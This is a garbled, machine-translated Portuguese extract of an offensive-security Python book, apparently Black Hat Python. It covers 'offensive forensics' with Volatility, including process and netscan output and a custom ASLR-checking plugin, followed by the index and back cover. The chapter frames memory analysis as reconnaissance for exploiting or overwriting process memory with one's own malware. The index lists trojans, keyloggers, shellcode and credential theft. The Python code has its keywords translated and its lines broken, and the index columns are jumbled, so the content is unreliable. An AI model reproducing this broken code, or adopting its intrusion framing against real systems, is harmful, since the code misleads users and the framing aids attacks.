vadyarascan.py cachedump.py handles.pymodules . pyregistry/
verinfo.py callbacks.py hashdump.pymutantscan .py
ssdt.py virtmap.py cmdline.py info.py
netscan.py strings.py
dlllist.py lsadump.pypoolscanner .py
svcscan.py driverirp.py malfind.pypslist .py
symlinkscan.py
Kernel
Base0xf80067
a18000 DTB 0x1aa000
172 Capítulo 11
primário 0 WindowsIntel32e
memory_layer1
FileLayer
KdVersionBlock
0xf800686272f0 Major/Minor
15.19041
MachineType 34404
KeNumberProcessors 1
SystemTime2020-09-04 00:53:46
NtProductType
NtProdutoVer
são de produto 10
NtMinorVersion 0
PE MajorOperatingSystemVersion 10
PE MinorOperatingSystemVersion 0
Máquina de PE 34404
174 Capítulo 11
\REGISTRYMACHINESYSTEMControlSet001Services WinSock2 Falso
\REGISTRYMACHINESYSTEMControlSet001Serviços WINUSB Falso
Reconhecimento do usuário
Agora vamos fazer algum reconhecimento sobre o usuário do VM. O plug-in
cmdline lista os argumentos de linha de comando para cada processo
enquanto eles estavam rodando no momento em que a foto foi tirada. Estes
processos nos dão uma dica sobre o comportamento e a intenção do
usuário.
176 Capítulo 11
PS>vol -f WinDev2007Eval-7d959ee5.vmem windows.pslist
Volatilidade 3 Estrutura 1.2.0-beta.1
Progresso: 33.01Scanning primary2 usando PdbSignatureScanner PID
PPID ImageFileName
Offset(V)Sessão de Manipulação de FiosId
Uau64
178 Capítulo 11
* 4704 624 userinit.exe 0xa50bba7bd 0 1 Falso
080
** 4732 4704 explorer.exe 0xa50bba7bd 92 1 Falso
080
*** 6432 4732 PowerToys.exe 0xa50bba7bd 14 1 Falso
080
**** 5340 6432 Microsoft.Powe 0xa50bba7bd 15 1 Falso
080
*** 7364 4732 cmd.exe 0xa50bba7bd 1 - Falso
080
**** 2464 7364 conhost.exe 0xa50bba7bd 4 1 Falso
080
*** 7092 4732 cmd.exe 0xa50bba7bd 1 - Falso
080
**** 3312 7092 notepad.exe 0xa50bba7bd 3 1 Falso
080
**** 7124 7092 nc64.exe 0xa50bba7bd 1 1 Falso
080
*** 8564 4732 python-3.8.6-a 0xa50bba7bd 1 1 Verdadeiro
080
**** 1036 8564 python-3.8.6-a 0xa50bba7bd 5 1 Verdadeiro
080
Agora temos uma imagem mais clara. O asterisco em cada linha indica
a relação pai-filho do processo. Por exemplo, o processo userinit (PID
4704) gerou o processo explorer.exe. Da mesma forma, o processo
explorer.exe (PID 4732) iniciou o processo cmd.exe (PID 7092). A partir
desse pro- cess, o usuário iniciou o notepad.exe e outro processo chamado
nc64.exe.
Agora vamos verificar as senhas com o hashdump plug-in:
180 Capítulo 11
Reconhecimento de Vulnerabilidade
Agora vamos usar a Volatilidade para descobrir se o VM alvo tem
vulnerabilidades que podemos ser capazes de explorar. O plug-in com defeito
verifica as faixas de memória de processo que potencialmente contêm código
injetado. Potencial é a palavra-chave aqui - o plug-in está procurando regiões
de memória que tenham permissões para ler, escrever e executar. Vale a
pena investigar estes processos, pois eles podem nos permitir aproveitar
algum malware que já está disponível. Alternativamente, podemos ser capazes
de sobrescrever essas regiões com nosso próprio malware.
182 Capítulo 11
Vemos algumas conexões da máquina local (192.168.28.128),
aparentemente para um par de servidores web 2; estas conexões estão agora
fechadas. Mais importantes são as conexões marcadas como LISTENING.
Aquelas que são
de propriedade de processos Windows reconhecíveis (svchost, lsass, wininit)
pode estar bem, mas o processo nc64.exe é desconhecido 1. Ele está
escutando no porto 4444, e vale a pena dar uma olhada mais profunda,
usando nosso substituto netcat de
Capítulo 2 para sondar essa porta.
A interface volshell
Além da interface de linha de comando, você pode usar a Volatilidade em
uma concha cus- tom Python com o comando volshell. Isto lhe dá todo o
poder da Volatilidade, bem como uma concha Python completa. Aqui está
um exemplo de uso do plug-in pslist em uma imagem do Windows
usando volshell:
184 Capítulo 11
Vamos dar uma olhada no esqueleto de um plug-in
típico:
importações . . .
1 classe
CmdLine(interfaces.plugin.PluginInterface)
: @classmethod
2 def
get_requirements(cls
): passe
3 def run(self):
passe
Os principais passos aqui são criar sua nova classe para herdar da
PluginInterface 1, definir os requisitos de seu plug-in 2, definir o método de
execução 3, e definir o método gerador 4. O método gerador é opcional,
mas separá-lo do método de execução é um padrão útil para você.
ver em muitos plug-ins. Separando-o e usando-o como um gerador Python,
você pode obter resultados mais rápidos e tornar seu código mais fácil de
entender.
Vamos seguir este padrão geral para criar um plug-in personalizado
que verificará os processos que não são protegidos pelo layout do espaço de
endereçamento, a random- ização (ASLR). A ASLR mistura o espaço de
endereços de um processo vulnerável, o que afeta a localização da memória
virtual de montes, pilhas e outras alocações de sistemas operacionais. Isso
significa que os exploradores não podem determinar como o espaço de endereço
do processo da vítima é disposto no momento do ataque. O Windows Vista foi o
primeiro lançamento do Windows com suporte à ASLR. Em imagens de
memória mais antigas como Windows XP, você não verá a proteção ASLR
ativada por padrão. Agora, com máquinas recentes (Windows 10), quase
todos os processos estão protegidos.
A ASLR não significa que o atacante está fora do negócio, mas torna
o trabalho muito mais complicado. Como primeiro passo no
reconhecimento dos processos, vamos criar um plug-in para verificar se
um processo é protegido pela ASLR.
Vamos começar. Crie um diretório chamado plugins. Sob esse diretório,
crie um diretório Windows para conter seus plug-ins personalizados para
máquinas Windows. Se você criar plug-ins para direcionar uma máquina Mac
ou Linux, crie um diretório chamado mac ou linux, respectivamente.
Agora, no diretório plugins/windows, vamos escrever nosso plug-in
ASLR-checking, aslrcheck.py:
186 Capítulo 11
importação io
importação
registro
importação os
importação
pefile
IMAGEM_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040
IMAGEM_FILE_RELOCS_STRIPPED = 0x0001
1 def check_aslr(pe):
pe.parse_data_directories([
pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG']
])
dinâmico =
Falso
despojado =
Falso
2 se
(pe.OPTIONAL_HEADER.DllCharacteris
tics &
IMAGE_DLL_CHARACTERISTICS_DYNAMI
C_BASE):
dinâmico = Verdadeiro
3 se pe.FILE_HEADER.Características &
IMAGEM_FILE_RELOCS_STRIPPED: despojado =
Verdadeiro
4 se não dinâmico ou (dinâmico e
despojado): aslr = Falso
senão:
aslr =
Retorno
verdadeiro aslr
1 classe
AslrCheck(interfaces.plugins.PluginInterface):
@classmethod
def
get_requirements(cls
): retornar [
2 Requisitos de TraduçãoRequipamento da camada(
name='primary', description='Memory layer for the kernel',
architectures=["Intel32", "Intel64"]),
3 Requisitos.
name="nt_symbols", description="Windows kernel
symbols"),
188 Capítulo 11
4 requisitos.PluginRequirement(
name='pslist', plugin=pslist.PsList, version=(1, 0, 0))
5 Exigências da ListRequirement(nome =
'pid', element_type = int,
descrição = "Process ID to include (todos os outros são
excluídos)", opcional = Verdadeiro),
]
@classmet
hod
def create_pid_filter(cls, pid_list: List[int] = None) -> Callable[[interfaces.objects.
ObjectInterface], bool]:
filter_func = lambda _: Falso
pid_list = pid_list ou []
filter_list = [x para x em pid_list se x não for None] se
filter_list:
filter_func = lambda x: x.UniqueProcessId not in filter_list
return filter_func
procnames =
lista() para proc
in procs:
procname = proc.ImageFileName.cast("string",
max_length=proc.ImageFileName.vol.count, errors='replace')
se procnome em procnomes:
190 Capítulo 11
continuar
procnames.append(procname)
proc_id = tentativa
"Desconhecida":
proc_id = proc.UniqueProcessId
proc_layer_name =
proc.add_process_layer()
exceto exceções. InvalidAddressException como e:
vollog.error(f "Process {proc_id}: endereço inválido {e} in layer
{e.layer_name}") continua
peb = self.context.object( 2
self.config['nt_symbols'] + constantes.BANG + "_PEB",
layer_name = proc_layer_name,
offset = proc.Peb)
tente:
dos_header = self.context.object(
pe_table_name + constantes.BANG +
"_IMAGE_DOS_HEADER",
offset=peb.ImageBaseAddress,
layer_name=proc_layer_name)
exceto Exceção como e:
continuar
pe_data = io.BytesIO()
para offset, dados em dos_header.reconstruct():
pe_data.seek(offset)
pe_data.write(data)
pe_data_raw = pe_data.getvalue() 3
pe_data.close()
tente:
pe = pefile.PE(data=pe_data_raw) 4
exceto Exceção como e:
continuar
aslr = check_aslr(pe) 5
192 Capítulo 11
Agora criamos o método run, que não precisa de argumentos, já que
todas as set- tings estão povoadas no objeto de configuração:
def run(self):
1 procs = pslist.PsList.list_processes(self.context,
self.config["primário"],
self.config["nt_symbols"],
filter_func =
self.create_pid_filter(self.config.get('pid', Nenhum)))
2 return
renderers.TreeGrid([
("PID", int),
("Filename", str),
("Base", format_hints.Hex),
("ASLR", bool)],
self._generator(procs))
Chutando os Pneus
Vamos dar uma olhada em uma das imagens disponibilizadas no site da
Volatilidade: Malware - Cridex. Para seu plug-in personalizado, forneça a
chave -p com o caminho para sua pasta de plugins:
Como você pode ver, esta é uma máquina Windows XP, e não há
proteções ASLR em nenhum processo.
A seguir é o resultado para uma máquina Windows 10 limpa e atualizada:
194 Capítulo 11
316 smss.exe 0x7ff6680200 Verd
00 adei
ro
428 csrss.exe 0x7ff796c000 Verd
00 adei
ro
500 wininit.exe 0x7ff7d9bc00 Verd
00 adei
ro
568 winlogon.exe 0x7ff6d7e500 Verd
00 adei
ro
592 serviços.exe 0x7ff76d4500 Verd
00 adei
ro
600 lsass.exe 0x7ff6f83200 Verd
00 adei
ro
696 fontdrvhost.ex 0x7ff65ce300 Verd
00 adei
ro
728 svchost.exe 0x7ff78eed00 Verd
00 adei
ro
Não há muito o que ver aqui. Todos os processos listados são protegidos
pela ASLR. Entretanto, também vemos uma mancha de memória. Um esfregaço
de memória ocorre quando as tendas da memória mudam conforme a
imagem da memória é tirada. Isso resulta em descrições da tabela de
memória que não correspondem à memória em si; alter- nativamente, os
indicadores de memória virtual podem fazer referência a dados inválidos. A
invasão é difícil. Como diz a descrição do erro, você pode tentar readquirir a
imagem (encontrar ou criar um novo instantâneo).
Vamos verificar a imagem da memória de amostra do PassMark Windows
10:
196 Capítulo 11
Neste capítulo, você viu que você pode aproveitar o poder da estrutura
de Volatilidade para encontrar mais informações sobre o comportamento e as
conexões de um usuário, bem como para analisar dados sobre qualquer
processo em execução de memória. Você pode usar essas informações para
entender melhor o usuário alvo e a máquina, bem como para entender a
mentalidade de um defensor.
Avante!
Você já deve ter notado que Python é uma ótima linguagem para hack-ing,
especialmente quando você considera as muitas bibliotecas e estruturas
baseadas em Python que você tem disponíveis. Embora os hackers tenham
uma infinidade de ferramentas, não há realmente nenhum substituto para
codificar suas próprias ferramentas, porque isto lhe dá uma compreensão
mais profunda do que essas outras ferramentas estão fazendo.
Vá em frente e codifique rapidamente uma ferramenta
personalizada para suas necessidades especiais. Seja um cliente SSH
para Windows, um raspador da web ou um sistema de comando e
controle, Python tem você coberto.
método de reset, 99
A
Acunetix, 85, 102 BHNET, 13, 26
disposição do espaço de Gerador de carga útil
BHP, 102
endereçamento aleatório,
bhservice, 154, 166
178, 182
Bing API, 94, 104, 107
biblioteca argparse, 14
exemplo, NetCat, 14
ARP
cache, 57
envenenamento, 53-54, 57
Classe Arper, 59-62
método do veneno, 60-61
método de restauração, 61-62
método run, 60
método de cheiro, 61
ASLR. Veja o layout do espaço de
endereços aleatorizado
Classe ASLRCheck (plugin de
Volatilidade personalizado)
função check_aslr, 179
create_pid_filter, método 180
Método gerador, 180-181
método get_requirements, 179-
180
método run, 182
B
Biblioteca BeautifulSoup, 74
Berkeley Packet Filter (BPF), 54, 56
Sintaxe BPF, 56
Classe BHPFuzzer, 99-100
getNextPayload método, 99
hasMorePayloads método, 99
mutate_payload method, 100
198 Capítulo 11
Bing search, 104
Biondi, Philppe, 53
Função BitBlt, 132
mudança de bit, 41-42
botnet, 121
BPF. Ver Berkeley Packet Filter Brute-forcing
arquivos e diretórios, 82, 86 senhas de
formulários da web, 88-89
Classe Bruter, 88-89
get_params function, 88
get_words function, 88
run_bruteforce, 88
web_bruter, 89
Painel de Arrombamento, 113
Classe BurpExtender, 97, 105, 107, 110
método bing_menu, 105-106 método de
consulta bing, 107 método bing_search,
106
createMenuItems método, 105, 111
display_wordlist, método, 113
get_words method, 112
registerExtenderCallbacks
método, 105, 110
método de mutilar, 112
método de menu_da_lista de palavras, 110
Extensões de arroto, 95-97, 100, 105, 111
Burp fuzzing, 95-96
Burp Intruder, 97, 100, 102
parâmetros de carga útil, 103
Suíte Burp, 93-95
API, 94
estendendo, 93-115
fuzzing, 95-104
GUI, 94-95
Configuração Jython, 95
Módulo BytesIO, 75, 87, 128, 140
157
C e-mail, 140
C2. Ver comando e controle Cain credenciais, roubo,
e Abel, 87, 90 54-57
CANVAS, 134
função de criptografia,
função de gerente de contexto de
141-143
chdir, 77-79
criptografia, 140
ClientConnected message, 28-30 AES, 140-142
código injeção, 164-166 assimétrico, 140
estilo de codificação, 5-7 híbrido, 140
biblioteca de comando e controle, 117, RSA, 140-142
125 biblioteca de visão por computador. simétrico, 140
Ver OpenCV
biblioteca
sistemas de gerenciamento de conteúdo
(CMS), 76 gerenciador de contexto, 73,
78, 81
decorador, 78
função createMenuItem, 105, 111
função createNewInstance, 97, 98
Função CreateProcess, 157
Cridex malware, 182
roteiro cruzado (XSS), 100
biblioteca de tipos, 39, 132-133, 136
função de elenco, 134
Estrutura dos campos, 40
D
função de decriptação, 142, 144
decifração, 142, 151
classe de destino inalcançável, 46
função de detecção (detecção de face),
68 classe de detecção (detecção de caixa
de areia)
método de detecção, 136-137
get_key_press método, 136-137
função get_last_input, 135-137
despacho do dicionário, 149
Modelo de objeto de documento
(DOM), 147 Sistema de nomes de
domínio (DNS), 45
E
Sistema de monitoramento El Jefe, 156-
186 Índice
função enumerativa, 67 EOF (marcador Classe HookManager, 129-130
de fim de arquivo), 18 exfiltração, 139, Arquivos .htaccess, 76
148 Elementos HTML, 147
HTMLParser, 90, 111
F
hypervisor, 1, 171
detecção facial, 53, 63, 67
Ferramentas para desenvolvedores FireFox, 86, 147
forense, 169
f-strings, 75
ftp, 140
biblioteca ftplib, 144
G
função gather_paths, 77-79 GDI (Windows
Graphics Device
Interface), 131-132
função gerador, 149
Função GetAsyncKeyState, 136-137
função getGeneratorName, 96-98
Função GetLastInputInfo, 135-136
função getNextPayload, 98-99
Função GetOwner, 158
biblioteca getpass, 27
Função GetTickCount, 135-136
Função GetWindowDC, 131-132
Função GetWindowTextA, 129
GetWindowThreadProcessId, 128-129
GitHub, 117-118, 121, 123
ficha de acesso pessoal, fluxo de trabalho 118-119,
119
biblioteca github3.py, 118
GitHub API, 118, 121
Classe GitImporter, 124
método find_module, 123-124
método load_module, 124
projeto gobuster, 82
Golden, Tim, 157, 162
H
despejo de haxixe, 175
função hexdump, 19-22
Cordel HEXFILTRO, 20
Índice 187
instalação, 94
I
IBurpExtender classe, 97, 105, 110 K
Classe ICMP, 46-47 Kali Linux, 2, 94
instalação, 5
método de cheiro, 47 atualização, 2, 5
ICMP echo, 48
Diagrama de pacotes de
mensagens ICMP, 46 Pacote
ICMP, 37, 42, 47
Destino inalcançável
mensagem, 46
IcontextMenuFactory, 105, 110
IDE. Ver desenvolvimento
integrado
ambiente
Processo Iexplore.exe, 147
ifconfig, 58
IintruderPayloadGenerator class, 96-
99 Internet Message Access Protocol
(IMAP), 54, 57
Internet Relay Chat (IRC), 117
personalização de importação,
123
função interna, 83
desenvolvimento integrado
ambiente, 1, 5
instalação, 5
Protocolo de Mensagem de
Controle da Internet
(ICMP), 36, 43
Internet Explorer, 146, 150
Protocolo Internet (IP), 36, 39
Módulo io, 75
Módulo BytesIO, 75, 87, 140
Bandeira IOCTL, 37
ipaddress library, 41, 48, 50-51
Classe IP, 39-43
método de cheiro, 44
Decodificação IP, 38, 43
Cabeçalho IP, 38
Estrutura do cabeçalho IPv4, 37
J
Java, 94
Jython
configurando Burp, 95
188 Índice
Evento KeyDown, 129-130
keylogger, 130-131
Classe KeyLogger
get_current_process method, 128-129
método mykeystroke, 129
método run, 129-130
keylogging, 128
L
Estrutura LASTINPUTINFO, 135
little-endian, 41
lockout bypass, 80
biblioteca lxml, 4, 74-76
HTMLParser, 75, 88, 90, 110
M
ataque de homem no meio, 54
função mangle, 112-113
controle de acesso à mídia (MAC), 57, 61-62
instantâneos de memória, 171-172
mancha de memória, 183
Metasploit, 134
Microsoft Developer Network (MSDN), 132, 158-159
Miessler, Daniel, 87
MITM. Ver man-in-the-middle attack mouse-click
detection, 138
msfvenom, 134
pacote multiprocessamento, 58
N
namedtuple, 63-66
Nathoo, Karim, 147
netcat, 13, 164-165
Classe NetCat, 14
método de manuseio, 16
método de escuta, 15-16
método run, 15
método de envio, 15, 17
noções básicas de rede, 10
cheiro de rede, 35, 50
nova função, 40 Nibble. Ver nybble
nmap, 36
nybble, 41-42
Índice 189
Python 3
O customização de
forense ofensiva, 169
importação, 123-
Biblioteca OpenCV, 63, 68-69
124
dependências, 69
montagem e
OWASP, 85
instalação, 3-5
bibliotecas web, 72-
P 74
encaminhamento de pacotes, 62
biblioteca python3-venv,
cheirando pacotes, 36-38
3
biblioteca paramiko, 26-29
canal, 33
instalação, 25
rforward demo, 32, 34
função reverse_forward_tunnel,
32
transporte, 33
pastebin.com, 145-146, 148
Separador de carga útil,
Burp, 102 Processamento
de tampa, 53, 63
Arquivo PE, 179
biblioteca pefile, 179
PEP 8, 6
pip, 4
arquivo portátil excutable, 178-
181 PortSwigger Web Security, 94
Port Unreachable error, 46
Positions tab, Burp, 102
Protocolo dos Correios (POP3), 54, 57
PowerShell, 153, 161, 164, 170
escalada de privilégios, 153
parâmetro prn, 54
Bloco de ambiente de processo (PEB),
181 monitor de processo, 156-157
modo promíscuo, 37-38 função
proxy_handler (TCP Proxy), 22
PyCharm IDE, 5
biblioteca de pycryptodome, 26, 140,
170
pacote pycryptodomex, 140
biblioteca do Pyinstaller, 121,
154, 165 Python 2.x
bibliotecas web, 72
sintaxes (Jython), 94
190 Índice
biblioteca pywin32, 131, 140, 154 função write_memory, 133
S
caixa de areia, 135-138
Classe Scanner, 48-49
método de cheiro, 48
Biblioteca Scapy, 53-54
exemplo de pacote_callback, 56 Aba Scope,
Burp, 109
função de captura de tela, 132
capturas de tela, 131-132
SecLists, 87
Função SelectObject, 131-132
SeLoadDriver, 159-160
função server_loop (Proxy TCP), 23
SetWindowsHookEx, 128
código de shellcode, 132-134
execução de código de shell, 132
função get_code, 133
função run, 133
Índice 191
rede de farejadores, 35, 36, 54 github-aware, 121-
123
parâmetro SOCK_DGRAM, 11, 48
Janelas, 127
biblioteca de soquetes, 10
Parâmetro SOCK_STREAM, 10-12, 14,
22–23, 29
Injeção SQL, 100, 104
Cliente SSH, 26-27, 30-31
ssh_command
conexão direta com Paramiko, 26-
27
conexão reversa com Paramiko, 26-
27
Servidor SSH com Paramiko, 28
túneis SSH, 30-34
reverso, 31
função reverse_forward_tunnel,
32-33
SSH com Paramiko, 26
SSL, 118
biblioteca estrutural, 39, 41
biblioteca de subprocessos, 13, 27-28
método de chamada, 155
método check_output, 28
SVNDigger, 82
T
Classe TagStripper, 110-111, 112
método handle_comment, 110
método handle_data, 110
método de tira, 110
Aba de destino, Burp, 109, 114
TCP. Ver Protocolo de Controle de
Transmissão
testphp.vulnweb.com, 82-85
roscas, 81-82
método thread.join, 81
fichas
privilégios, 159-160
Protocolo de Controle de Transmissão
(TCP), 10 cliente, 10, 12
proxy, 19
servidor, 12
troiano, 117-125, 127
configuração, 120-121
192 Índice
Classe de troianos, 122 pacote win32con, 131-132, 157, 160,
162–163
get_config método, 122
get_file_contents function, 121-122
função github_connect, 121-123
método module_runner, 122-123
método run, 122-123
método de resultado do módulo_de_armazém,
122-123
tentar/exceto sintaxe, 78
sintaxe de tentativa/finalidade, 78
U
Protocolo de Datagramas de Usuário (UDP), 10-11
cliente, 11
datagramas, 36, 49
descoberta do hospedeiro, 36
biblioteca urllib, 73-74, 76, 90, 105, 133
urllib2 biblioteca, 72-73, 76
função urlopen, 72-74, 133
V
VBScript, 153, 161-162, 164
pacote venv, 4
VirtualAlloc, 133-134
VirtualBox, 1
ambiente virtual, 3-5, 170
máquina virtual (VM), 1-2, 38, 85 Visual Studio
Code IDE, 5 VMWare, 1
Volatilidade
estrutura, 169
instalação, 170
plug-ins, 171, 177-178
Interface volumétrica, 170
interface volshell, 170, 177
reconhecimento de vulnerabilidade, 176
W
análise de aplicações web, 71
ataques, 72
raspagem para senhas, 110-115
ferramentas, 71
pacote win32api, 131, 135, 157
pacote win32com, 140, 143-146
Índice 193
pacote win32file, 144 Biblioteca WMI, 154
Wireshark, 35, 63, 67
pacote de segurança win32, 157, 160
criação de lista de palavras, 110-113
Windows WordPress, 76, 81, 86-87, 90-91
Interface do Dispositivo Gráfico login forçado bruto, 85-89
(GDI), 131-132 captchas, 86
Cabo, 132 instalação, 76
Aplicação do Outlook, 143 mapeamento, 76-81
escalação de privilégios, 145 Wuergler, Mark, 157
registro, 172
Serviços, 154 X
Tomadas, 37 XSS. Veja o roteiro cruzado do site
Token, 159
máquina virtual (VM), 1 Z
WingIDE, 5
biblioteca zlib, 64, 66, 140
Gerenciamento de janelas
Instrumentação (WMI),
154, 157
194 Índice
Black Hat Python é ambientado em New Baskerville, Futura, Dogma, e
TheSansMono Condensed.
Assine o DeepL Pro para traduzir arquivos maiores.
Mais informações em www.DeepL.com/pro.
RECURSOS
Visite https://nostarch.com/black-hat-python2E/ para obter erratas e mais informações.
All of the code in this edition has been updated When it comes to offensive security, you need
to Python 3.x. You’ll also find new coverage to be able to create powerful tools on the fly.
of bit-shifting, code hygiene, and offensive Learn how with Black Hat Python.
forensics with the Volatility Framework as
well as expanded explanations of the Python
libraries ctypes, struct, lxml, and BeautifulSoup,
and offensive hacking strategies like splitting
About the Authors
bytes, leveraging computer vision libraries, and Justin Seitz is the president and co-founder of
scraping websites. Dark River Systems Inc., where he works on
Hunchly and conducts OSINT research. He is
You’ll even learn how to: also the author of Gray Hat Python (No Starch
Create a trojan command-and-control server Press, 2009), the first book to cover Python for
using GitHub security analysis.
Detect sandboxing and automate common Tim Arnold has worked as a professional
malware tasks like keylogging and Python software developer at SAS Institute
screenshotting for over 20 years. He contributes to several
open source software projects and volunteers
Extend the Burp Suite web-hacking tool as a hacking trainer in his local community.
“ I L I E F L AT. ”
FSC FPO
This book uses a durable binding that won’t snap shut